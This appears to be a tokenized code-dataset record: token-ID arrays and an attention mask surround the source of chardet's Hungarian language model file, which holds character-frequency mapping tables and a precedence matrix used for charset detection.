267, 627, 2197, 12, 4487, 12, 603, 24, 59, 561, 467, 603, 24, 59, 561, 12, 5823, 61, 267, 627, 6871, 12, 12749, 12, 333, 24, 59, 561, 61, 267, 627, 5178, 334, 8629, 3836, 543, 5554, 63, 585, 29, 16, 14, 16, 9, 267, 627, 5178, 63, 3540, 334, 8629, 3836, 543, 5554, 63, 585, 29, 1590, 14, 4304, 9, 267, 627, 4637, 12, 4637, 18, 339, 408, 272, 22286, 275, 8651, 32360, 8, 16748, 9, 272, 1967, 63, 1744, 275, 822, 8, 16748, 9, 339, 340, 1242, 63, 1392, 365, 488, 26, 267, 1242, 63, 1392, 275, 334, 46, 4258, 339, 2215, 275, 334, 1507, 63, 1744, 4258, 435, 1242, 63, 1392, 339, 2530, 275, 664, 63, 6677, 63, 569, 8, 1392, 9, 339, 340, 730, 495, 315, 661, 1609, 297, 283, 70, 24, 297, 283, 70, 20, 297, 283, 70, 18, 297, 673, 283, 442, 297, 283, 73, 24, 297, 283, 73, 20, 297, 283, 73, 18, 297, 283, 73, 17, 297, 673, 283, 1635, 297, 283, 85, 24, 297, 283, 85, 20, 297, 283, 85, 18, 297, 283, 85, 17, 735, 267, 1338, 275, 2530, 14, 6041, 8, 466, 495, 9, 435, 1967, 63, 2743, 272, 916, 730, 495, 315, 661, 5254, 297, 283, 67, 975, 297, 283, 67, 24, 735, 267, 1338, 275, 413, 14, 74, 627, 334, 569, 14, 6041, 8, 466, 495, 9, 435, 1967, 63, 2743, 9, 272, 916, 730, 495, 315, 661, 785, 297, 283, 875, 297, 283, 47, 735, 267, 1338, 275, 980, 14, 5217, 2941, 33, 5, 68, 7, 450, 284, 367, 284, 315, 2530, 14, 11186, 342, 435, 1967, 63, 2743, 467, 1169, 2215, 9, 272, 916, 730, 495, 315, 661, 66, 1673, 2245, 297, 304, 267, 1338, 275, 980, 14, 4548, 8, 1392, 12, 2152, 29, 1590, 14, 2245, 4602, 272, 916, 730, 495, 315, 661, 2083, 297, 283, 3583, 297, 283, 45, 24, 59, 561, 61, 735, 267, 1338, 275, 334, 569, 627, 413, 69, 25, 680, 6041, 360, 45, 24, 59, 561, 10374, 272, 916, 730, 495, 14, 2460, 360, 45, 24, 59, 561, 735, 267, 327, 2197, 543, 5823, 267, 333, 275, 295, 14, 1733, 360, 45, 24, 25621, 561, 4202, 83, 22588, 87, 7896, 15, 8995, 87, 10, 2862, 4300, 730, 495, 9, 267, 702, 333, 365, 440, 488, 12, 298, 31787, 730, 495, 1035, 469, 16, 5469, 908, 8, 466, 495, 9, 267, 5823, 275, 333, 14, 2634, 3430, 16, 61, 267, 702, 1967, 63, 1744, 508, 413, 12, 298, 7790, 1172, 1454, 413, 1967, 2974, 367, 282, 5823, 13, 14600, 2, 267, 1338, 275, 29825, 2681, 8, 1590, 14, 5605, 8, 46, 9, 627, 413, 69, 25, 12, 5823, 29, 3903, 9, 272, 916, 730, 495, 315, 661, 7473, 297, 283, 2076, 297, 283, 77, 24, 59, 561, 61, 735, 267, 1338, 275, 334, 569, 627, 413, 680, 6041, 360, 77, 24, 59, 561, 10374, 272, 916, 730, 495, 315, 661, 3710, 297, 304, 267, 1338, 275, 31227, 779, 17, 12, 17, 12, 18, 12, 18, 12, 19, 12, 19, 12, 19, 12, 19, 12, 20, 12, 20, 566, 272, 916, 730, 495, 315, 661, 3710, 18, 297, 304, 267, 1338, 275, 31227, 2941, 65, 1673, 65, 1673, 65, 1673, 65, 1673, 66, 1673, 66, 1673, 67, 1673, 67, 1673, 67, 1673, 68, 1105, 272, 916, 730, 495, 315, 661, 4421, 297, 283, 4421, 63, 3540, 735, 267, 327, 7600, 26, 3181, 1133, 2291, 1967, 63, 3838, 1137, 1616, 267, 702, 2215, 1988, 17, 61, 508, 1616, 267, 702, 1006, 8, 83, 508, 413, 367, 308, 315, 2215, 4439, 17, 566, 267, 340, 730, 495, 14, 4130, 6412, 3540, 735, 288, 5554, 63, 585, 275, 980, 14, 4304, 267, 587, 26, 288, 5554, 63, 585 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 3, 4287, 26, 3507, 29, 55, 31715, 199, 199, 504, 2197, 492, 2197, 12, 1434, 199, 199, 646, 11354, 199, 646, 2680, 465, 980, 199, 199, 646, 295, 199, 646, 7975, 199, 504, 10634, 492, 5499, 12, 6879, 2681, 12, 10071, 12, 29825, 2681, 12, 12403, 12, 31227, 199, 504, 10634, 14, 5819, 492, 8773, 12, 634, 1842, 199, 504, 10634, 14, 4421, 14, 1144, 492, 14531, 3836, 199, 504, 10634, 14, 1018, 14, 4404, 2551, 492, 334, 3142, 32360, 12, 13050, 3142, 2988, 12, 1852, 63, 1457, 12, 3521, 8651, 2988, 9, 199, 646, 10634, 14, 1018, 14, 2330, 465, 2414, 199, 646, 10634, 14, 1018, 14, 4404, 2551, 465, 5007, 83, 199, 646, 10634, 14, 1974, 14, 4776, 465, 7352, 199, 646, 10634, 465, 6454, 199, 504, 10634, 14, 1974, 14, 4776, 492, 334, 272, 702, 63, 4398, 63, 1452, 12, 702, 63, 1943, 63, 1452, 12, 10261, 78, 12, 702, 63, 5602, 63, 1452, 9, 199, 504, 10634, 14, 5819, 492, 3482, 12, 399, 421, 199, 318, 702, 63, 1457, 63, 1452, 8, 3039, 12, 2451, 304, 272, 702, 63, 4398, 63, 1452, 8, 3039, 14, 1459, 12, 2451, 14, 1459, 9, 272, 702, 8, 3039, 14, 2271, 508, 2451, 14, 2271, 9, 272, 702, 63, 4398, 63, 1452, 8, 3039, 14, 7755, 63, 15781, 12, 2451, 14, 7755, 63, 15781, 9, 421, 199, 318, 664, 63, 6677, 63, 569, 8, 1392, 304, 272, 7953, 275, 980, 14, 5605, 8, 1392, 59, 16, 566, 272, 372, 980, 14, 773, 14, 12318, 63, 599, 5618, 14, 305, 63, 816, 770, 8, 267, 671, 29, 5250, 12, 2215, 29, 1392, 12, 267, 11883, 2687, 5250, 14, 21210, 4258, 435, 334, 16, 4258, 627, 334, 552, 8, 1392, 9, 446, 413, 4992, 1574, 342, 421, 199, 46, 275, 1616, 421, 199, 318, 1218, 63, 1457, 8, 466, 495, 12, 22286, 12, 1242, 63, 1392, 29, 403, 12, 1967, 63, 2743, 29, 16, 304, 272, 408, 272, 26167, 730, 495, 26, 398, 627, 2069, 12, 289, 24, 12, 289, 20, 12, 289, 18, 267, 627, 1109, 12, 284, 24, 12, 284, 20, 12, 284, 18, 12, 284, 17, 267, 627, 3152, 12, 399, 24, 12, 399, 20, 12, 399, 18, 12, 399, 17, 267, 627, 6114, 12, 286, 975, 12, 286, 24, 267, 627, 2155, 267, 627, 909, 12, 1059, 12, 593, 267, 627, 2197, 12, 4487, 12, 603, 24, 59, 561, 467, 603, 24, 59, 561, 12, 5823, 61, 267, 627, 6871, 12, 12749, 12, 333, 24, 59, 561, 61, 267, 627, 5178, 334, 8629, 3836, 543, 5554, 63, 585, 29, 16, 14, 16, 9, 267, 627, 5178, 63, 3540, 334, 8629, 3836, 543, 5554, 63, 585, 29, 1590, 14, 4304, 9, 267, 627, 4637, 12, 4637, 18, 339, 408, 272, 22286, 275, 8651, 32360, 8, 16748, 9, 272, 1967, 63, 1744, 275, 822, 8, 16748, 9, 339, 340, 1242, 63, 1392, 365, 488, 26, 267, 1242, 63, 1392, 275, 334, 46, 4258, 339, 2215, 275, 334, 1507, 63, 1744, 4258, 435, 1242, 63, 1392, 339, 2530, 275, 664, 63, 6677, 63, 569, 8, 1392, 9, 339, 340, 730, 495, 315, 661, 1609, 297, 283, 70, 24, 297, 283, 70, 20, 297, 283, 70, 18, 297, 673, 283, 442, 297, 283, 73, 24, 297, 283, 73, 20, 297, 283, 73, 18, 297, 283, 73, 17, 297, 673, 283, 1635, 297, 283, 85, 24, 297, 283, 85, 20, 297, 283, 85, 18, 297, 283, 85, 17, 735, 267, 1338, 275, 2530, 14, 6041, 8, 466, 495, 9, 435, 1967, 63, 2743, 272, 916, 730, 495, 315, 661, 5254, 297, 283, 67, 975, 297, 283, 67, 24, 735, 267, 1338, 275, 413, 14, 74, 627, 334, 569, 14, 6041, 8, 466, 495, 9, 435, 1967, 63, 2743, 9, 272, 916, 730, 495, 315, 661, 785, 297, 283, 875, 297, 283, 47, 735, 267, 1338, 275, 980, 14, 5217, 2941, 33, 5, 68, 7, 450, 284, 367, 284, 315, 2530, 14, 11186, 342, 435, 1967, 63, 2743, 467, 1169, 2215, 9, 272, 916, 730, 495, 315, 661, 66, 1673, 2245, 297, 304, 267, 1338, 275, 980, 14, 4548, 8, 1392, 12, 2152, 29, 1590, 14, 2245, 4602, 272, 916, 730, 495, 315, 661, 2083, 297, 283, 3583, 297, 283, 45, 24, 59, 561, 61, 735, 267, 1338, 275, 334, 569, 627, 413, 69, 25, 680, 6041, 360, 45, 24, 59, 561, 10374, 272, 916, 730, 495, 14, 2460, 360, 45, 24, 59, 561, 735, 267, 327, 2197, 543, 5823, 267, 333, 275, 295, 14, 1733, 360, 45, 24, 25621, 561, 4202, 83, 22588, 87, 7896, 15, 8995, 87, 10, 2862, 4300, 730, 495, 9, 267, 702, 333, 365, 440, 488, 12, 298, 31787, 730, 495, 1035, 469, 16, 5469, 908, 8, 466, 495, 9, 267, 5823, 275, 333, 14, 2634, 3430, 16, 61, 267, 702, 1967, 63, 1744, 508, 413, 12, 298, 7790, 1172, 1454, 413, 1967, 2974, 367, 282, 5823, 13, 14600, 2, 267, 1338, 275, 29825, 2681, 8, 1590, 14, 5605, 8, 46, 9, 627, 413, 69, 25, 12, 5823, 29, 3903, 9, 272, 916, 730, 495, 315, 661, 7473, 297, 283, 2076, 297, 283, 77, 24, 59, 561, 61, 735, 267, 1338, 275, 334, 569, 627, 413, 680, 6041, 360, 77, 24, 59, 561, 10374, 272, 916, 730, 495, 315, 661, 3710, 297, 304, 267, 1338, 275, 31227, 779, 17, 12, 17, 12, 18, 12, 18, 12, 19, 12, 19, 12, 19, 12, 19, 12, 20, 12, 20, 566, 272, 916, 730, 495, 315, 661, 3710, 18, 297, 304, 267, 1338, 275, 31227, 2941, 65, 1673, 65, 1673, 65, 1673, 65, 1673, 66, 1673, 66, 1673, 67, 1673, 67, 1673, 67, 1673, 68, 1105, 272, 916, 730, 495, 315, 661, 4421, 297, 283, 4421, 63, 3540, 735, 267, 327, 7600, 26, 3181, 1133, 2291, 1967, 63, 3838, 1137, 1616, 267, 702, 2215, 1988, 17, 61, 508, 1616, 267, 702, 1006, 8, 83, 508, 413, 367, 308, 315, 2215, 4439, 17, 566, 267, 340, 730, 495, 14, 4130, 6412, 3540, 735, 288, 5554, 63, 585, 275, 980, 14, 4304, 267, 587, 26, 288, 5554, 63, 585, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
agconti/njode
env/lib/python2.7/site-packages/pip/_vendor/requests/packages/chardet/langhungarianmodel.py
2763
12536
######################## BEGIN LICENSE BLOCK ######################## # The Original Code is Mozilla Communicator client code. # # The Initial Developer of the Original Code is # Netscape Communications Corporation. # Portions created by the Initial Developer are Copyright (C) 1998 # the Initial Developer. All Rights Reserved. # # Contributor(s): # Mark Pilgrim - port to Python # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### # 255: Control characters that usually does not exist in any text # 254: Carriage/Return # 253: symbol (punctuation) that does not belong to word # 252: 0 - 9 # Character Mapping Table: Latin2_HungarianCharToOrderMap = ( 255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, # 00 255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 10 253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, # 20 252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253, # 30 253, 28, 40, 54, 45, 32, 50, 49, 38, 39, 53, 36, 41, 34, 35, 47, 46, 71, 43, 33, 37, 57, 48, 64, 68, 55, 52,253,253,253,253,253, 253, 2, 18, 26, 17, 1, 27, 12, 20, 9, 22, 7, 6, 13, 4, 8, 23, 67, 10, 5, 3, 21, 19, 65, 62, 16, 11,253,253,253,253,253, 159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174, 175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190, 191,192,193,194,195,196,197, 75,198,199,200,201,202,203,204,205, 79,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220, 221, 51, 81,222, 78,223,224,225,226, 44,227,228,229, 61,230,231, 232,233,234, 58,235, 66, 59,236,237,238, 60, 69, 63,239,240,241, 82, 14, 74,242, 70, 80,243, 72,244, 15, 83, 77, 84, 30, 76, 85, 245,246,247, 25, 73, 42, 24,248,249,250, 31, 56, 29,251,252,253, ) win1250HungarianCharToOrderMap = ( 255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, # 00 255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 10 253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, # 20 252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253, # 30 253, 28, 40, 54, 45, 32, 50, 49, 38, 39, 53, 36, 41, 34, 35, 47, 46, 72, 43, 33, 37, 57, 48, 64, 68, 55, 52,253,253,253,253,253, 253, 2, 18, 26, 17, 1, 27, 12, 20, 9, 22, 7, 6, 13, 4, 8, 23, 67, 10, 5, 3, 21, 19, 65, 62, 16, 11,253,253,253,253,253, 161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176, 177,178,179,180, 78,181, 69,182,183,184,185,186,187,188,189,190, 191,192,193,194,195,196,197, 76,198,199,200,201,202,203,204,205, 81,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220, 221, 51, 83,222, 80,223,224,225,226, 44,227,228,229, 61,230,231, 232,233,234, 58,235, 66, 59,236,237,238, 60, 70, 63,239,240,241, 84, 14, 75,242, 71, 82,243, 73,244, 15, 85, 79, 86, 30, 77, 87, 245,246,247, 25, 74, 42, 24,248,249,250, 31, 56, 29,251,252,253, ) # Model Table: # total sequences: 100% # first 512 sequences: 94.7368% # first 1024 sequences:5.2623% # rest sequences: 0.8894% # negative sequences: 0.0009% HungarianLangModel = ( 0,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,1,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3, 3,3,3,3,3,3,3,3,3,3,2,3,3,3,3,3,3,3,3,2,2,3,3,1,1,2,2,2,2,2,1,2, 3,2,2,3,3,3,3,3,2,3,3,3,3,3,3,1,2,3,3,3,3,2,3,3,1,1,3,3,0,1,1,1, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0, 3,2,1,3,3,3,3,3,2,3,3,3,3,3,1,1,2,3,3,3,3,3,3,3,1,1,3,2,0,1,1,1, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0, 3,3,3,3,3,3,3,3,3,3,3,1,1,2,3,3,3,1,3,3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,0,0,0, 0,1,1,1,1,1,1,1,1,2,0,1,1,1,1,0,1,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0, 1,0,0,1,1,1,1,1,0,0,2,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0, 0,1,1,1,1,1,1,0,1,1,0,1,0,1,1,0,1,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0, 1,0,0,1,1,1,0,0,0,0,1,0,2,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0, 0,1,1,1,1,1,0,0,1,1,0,1,0,1,0,0,1,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0, 0,0,0,1,0,0,0,0,0,0,1,1,2,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,1,1,1,0,1,0,0,1,1,0,1,0,1,1,0,1,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0, 2,1,1,1,1,1,1,1,1,1,1,0,0,1,1,1,0,0,1,0,0,1,0,1,0,1,1,1,0,0,1,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 1,0,0,1,1,1,1,0,0,0,1,1,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0, 0,1,1,1,1,1,1,0,1,1,0,1,0,1,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0, ) Latin2HungarianModel = { 'charToOrderMap': Latin2_HungarianCharToOrderMap, 'precedenceMatrix': HungarianLangModel, 'mTypicalPositiveRatio': 0.947368, 'keepEnglishLetter': True, 'charsetName': "ISO-8859-2" } Win1250HungarianModel = { 'charToOrderMap': win1250HungarianCharToOrderMap, 'precedenceMatrix': HungarianLangModel, 'mTypicalPositiveRatio': 0.947368, 'keepEnglishLetter': True, 'charsetName': "windows-1250" } # flake8: noqa
bsd-3-clause
[ 6565, 16427, 5113, 8068, 11945, 199, 3, 710, 12769, 5495, 365, 17728, 13338, 707, 1890, 1233, 14, 199, 3, 199, 3, 710, 6026, 9607, 402, 314, 12769, 5495, 365, 199, 3, 20433, 18686, 11098, 14, 199, 3, 20825, 2737, 701, 314, 6026, 9607, 787, 1898, 334, 35, 9, 19960, 199, 3, 314, 6026, 9607, 14, 2900, 5924, 5702, 14, 199, 3, 199, 3, 17636, 8, 83, 304, 199, 3, 257, 7173, 19641, 446, 1844, 370, 2018, 199, 3, 199, 3, 961, 3555, 365, 2867, 2032, 27, 1265, 883, 3604, 652, 436, 15, 269, 199, 3, 2811, 652, 1334, 314, 2895, 402, 314, 1664, 6401, 1696, 1684, 199, 3, 844, 465, 3267, 701, 314, 2868, 2290, 2752, 27, 1902, 199, 3, 1015, 499, 14, 17, 402, 314, 844, 12, 503, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 961, 3555, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 1664, 199, 3, 6401, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 6401, 1696, 1684, 199, 3, 844, 3180, 543, 642, 3555, 27, 340, 440, 12, 2218, 370, 314, 2868, 2290, 199, 3, 2752, 12, 3277, 2020, 8026, 11236, 1933, 12, 12066, 11844, 12, 8226, 12, 4828, 199, 3, 11315, 13, 10067, 221, 8217, 199, 19054, 7729, 5113, 8068, 21186, 199, 199, 3, 5450, 26, 8612, 4110, 626, 9987, 1630, 440, 2187, 315, 1263, 1318, 199, 3, 22540, 26, 14243, 25220, 15, 1767, 199, 3, 26727, 26, 5272, 334, 25181, 9, 626, 1630, 440, 13511, 370, 4349, 199, 3, 27210, 26, 378, 446, 1749, 199, 199, 3, 17660, 12340, 6957, 26, 199, 27317, 18, 63, 40, 25364, 24516, 275, 334, 199, 2299, 12, 2299, 12, 2299, 12, 2299, 12, 2299, 12, 2299, 12, 2299, 12, 2299, 12, 2299, 12, 2299, 12, 8306, 12, 2299, 12, 2299, 12, 8306, 12, 2299, 12, 2299, 12, 221, 327, 8733, 199, 2299, 12, 2299, 12, 2299, 12, 2299, 12, 2299, 12, 2299, 12, 2299, 12, 2299, 12, 2299, 12, 2299, 12, 2299, 12, 2299, 12, 2299, 12, 2299, 12, 2299, 12, 2299, 12, 221, 327, 1616, 199, 3781, 12, 3781, 12, 3781, 12, 3781, 12, 3781, 12, 3781, 12, 3781, 12, 3781, 12, 3781, 12, 3781, 12, 3781, 12, 3781, 12, 3781, 12, 3781, 12, 3781, 12, 3781, 12, 221, 327, 3388, 199, 6390, 12, 6390, 12, 6390, 12, 6390, 12, 6390, 12, 6390, 12, 6390, 12, 6390, 12, 6390, 12, 6390, 12, 3781, 12, 3781, 12, 3781, 12, 3781, 12, 3781, 12, 3781, 12, 221, 327, 4233, 199, 3781, 12, 7294, 12, 6335, 12, 13470, 12, 10416, 12, 4337, 12, 5238, 12, 12260, 12, 10448, 12, 10551, 12, 13564, 12, 8780, 12, 13385, 12, 8177, 12, 8685, 12, 10954, 12, 199, 12426, 12, 17245, 12, 11851, 12, 9404, 12, 6877, 12, 12699, 12, 9615, 12, 5049, 12, 10851, 12, 12766, 12, 14589, 12, 3781, 12, 3781, 12, 3781, 12, 3781, 12, 3781, 12, 199, 3781, 12, 221, 499, 12, 6155, 12, 7875, 12, 5557, 12, 221, 413, 12, 8087, 12, 3144, 12, 3388, 12, 221, 1749, 12, 6928, 12, 221, 1520, 12, 221, 1227, 12, 4944, 12, 221, 841, 12, 221, 1695, 12, 199, 6546, 12, 13296, 12, 1616, 12, 221, 959, 12, 221, 650, 12, 7829, 12, 5851, 12, 11738, 12, 16202, 12, 3193, 12, 4119, 12, 3781, 12, 3781, 12, 3781, 12, 3781, 12, 3781, 12, 199, 9327, 12, 8488, 12, 12285, 12, 12438, 12, 11931, 12, 8982, 12, 10355, 12, 10642, 12, 10806, 12, 6568, 12, 10143, 12, 11010, 12, 13593, 12, 10419, 12, 12478, 12, 9892, 12, 199, 10848, 12, 10216, 12, 8881, 12, 11175, 12, 10699, 12, 7663, 12, 12851, 12, 12894, 12, 12363, 12, 10078, 12, 10233, 12, 11656, 12, 11775, 12, 11501, 12, 11370, 12, 12205, 12, 199, 12632, 12, 5756, 12, 13015, 12, 10860, 12, 11874, 12, 10800, 12, 11165, 12, 13098, 12, 10905, 12, 7155, 12, 1840, 12, 1797, 12, 4999, 12, 11341, 12, 6686, 12, 10629, 12, 199, 13734, 12, 11089, 12, 10744, 12, 10630, 12, 11303, 12, 12725, 12, 12832, 12, 11722, 12, 14271, 12, 6886, 12, 7842, 12, 9669, 12, 9335, 12, 9252, 12, 8867, 12, 11174, 12, 199, 11564, 12, 8026, 12, 19071, 12, 9485, 12, 14679, 12, 11583, 12, 8731, 12, 10932, 12, 11085, 12, 10868, 12, 11385, 12, 12048, 12, 11182, 12, 17017, 12, 9687, 12, 11921, 12, 199, 8001, 12, 10034, 12, 5533, 12, 13713, 12, 8276, 12, 14157, 12, 8155, 12, 10008, 12, 10638, 12, 12332, 12, 5212, 12, 14610, 12, 13668, 12, 9803, 12, 9873, 12, 13571, 12, 199, 18051, 12, 4329, 12, 9720, 12, 13212, 12, 10045, 12, 5939, 12, 13440, 12, 15323, 12, 11603, 12, 4114, 12, 20582, 12, 8375, 12, 8264, 12, 4233, 12, 14646, 12, 16412, 12, 199, 11677, 12, 11440, 12, 11717, 12, 5661, 12, 18525, 12, 5685, 12, 5504, 12, 11242, 12, 11032, 12, 7991, 12, 7105, 12, 12001, 12, 7349, 12, 12140, 12, 6390, 12, 3781, 12, 199, 9, 199, 199, 2676, 26572, 40, 25364, 24516, 275, 334, 199, 2299, 12, 2299, 12, 2299, 12, 2299, 12, 2299, 12, 2299, 12, 2299, 12, 2299, 12, 2299, 12, 2299, 12, 8306, 12, 2299, 12, 2299, 12, 8306, 12, 2299, 12, 2299, 12, 221, 327, 8733, 199, 2299, 12, 2299, 12, 2299, 12, 2299, 12, 2299, 12, 2299, 12, 2299, 12, 2299, 12, 2299, 12, 2299, 12, 2299, 12, 2299, 12, 2299, 12, 2299, 12, 2299, 12, 2299, 12, 221, 327, 1616, 199, 3781, 12, 3781, 12, 3781, 12, 3781, 12, 3781, 12, 3781, 12, 3781, 12, 3781, 12, 3781, 12, 3781, 12, 3781, 12, 3781, 12, 3781, 12, 3781, 12, 3781, 12, 3781, 12, 221, 327, 3388, 199, 6390, 12, 6390, 12, 6390, 12, 6390, 12, 6390, 12, 6390, 12, 6390, 12, 6390, 12, 6390, 12, 6390, 12, 3781, 12, 3781, 12, 3781, 12, 3781, 12, 3781, 12, 3781, 12, 221, 327, 4233, 199, 3781, 12, 7294, 12, 6335, 12 ]
[ 16427, 5113, 8068, 11945, 199, 3, 710, 12769, 5495, 365, 17728, 13338, 707, 1890, 1233, 14, 199, 3, 199, 3, 710, 6026, 9607, 402, 314, 12769, 5495, 365, 199, 3, 20433, 18686, 11098, 14, 199, 3, 20825, 2737, 701, 314, 6026, 9607, 787, 1898, 334, 35, 9, 19960, 199, 3, 314, 6026, 9607, 14, 2900, 5924, 5702, 14, 199, 3, 199, 3, 17636, 8, 83, 304, 199, 3, 257, 7173, 19641, 446, 1844, 370, 2018, 199, 3, 199, 3, 961, 3555, 365, 2867, 2032, 27, 1265, 883, 3604, 652, 436, 15, 269, 199, 3, 2811, 652, 1334, 314, 2895, 402, 314, 1664, 6401, 1696, 1684, 199, 3, 844, 465, 3267, 701, 314, 2868, 2290, 2752, 27, 1902, 199, 3, 1015, 499, 14, 17, 402, 314, 844, 12, 503, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 961, 3555, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 1664, 199, 3, 6401, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 6401, 1696, 1684, 199, 3, 844, 3180, 543, 642, 3555, 27, 340, 440, 12, 2218, 370, 314, 2868, 2290, 199, 3, 2752, 12, 3277, 2020, 8026, 11236, 1933, 12, 12066, 11844, 12, 8226, 12, 4828, 199, 3, 11315, 13, 10067, 221, 8217, 199, 19054, 7729, 5113, 8068, 21186, 199, 199, 3, 5450, 26, 8612, 4110, 626, 9987, 1630, 440, 2187, 315, 1263, 1318, 199, 3, 22540, 26, 14243, 25220, 15, 1767, 199, 3, 26727, 26, 5272, 334, 25181, 9, 626, 1630, 440, 13511, 370, 4349, 199, 3, 27210, 26, 378, 446, 1749, 199, 199, 3, 17660, 12340, 6957, 26, 199, 27317, 18, 63, 40, 25364, 24516, 275, 334, 199, 2299, 12, 2299, 12, 2299, 12, 2299, 12, 2299, 12, 2299, 12, 2299, 12, 2299, 12, 2299, 12, 2299, 12, 8306, 12, 2299, 12, 2299, 12, 8306, 12, 2299, 12, 2299, 12, 221, 327, 8733, 199, 2299, 12, 2299, 12, 2299, 12, 2299, 12, 2299, 12, 2299, 12, 2299, 12, 2299, 12, 2299, 12, 2299, 12, 2299, 12, 2299, 12, 2299, 12, 2299, 12, 2299, 12, 2299, 12, 221, 327, 1616, 199, 3781, 12, 3781, 12, 3781, 12, 3781, 12, 3781, 12, 3781, 12, 3781, 12, 3781, 12, 3781, 12, 3781, 12, 3781, 12, 3781, 12, 3781, 12, 3781, 12, 3781, 12, 3781, 12, 221, 327, 3388, 199, 6390, 12, 6390, 12, 6390, 12, 6390, 12, 6390, 12, 6390, 12, 6390, 12, 6390, 12, 6390, 12, 6390, 12, 3781, 12, 3781, 12, 3781, 12, 3781, 12, 3781, 12, 3781, 12, 221, 327, 4233, 199, 3781, 12, 7294, 12, 6335, 12, 13470, 12, 10416, 12, 4337, 12, 5238, 12, 12260, 12, 10448, 12, 10551, 12, 13564, 12, 8780, 12, 13385, 12, 8177, 12, 8685, 12, 10954, 12, 199, 12426, 12, 17245, 12, 11851, 12, 9404, 12, 6877, 12, 12699, 12, 9615, 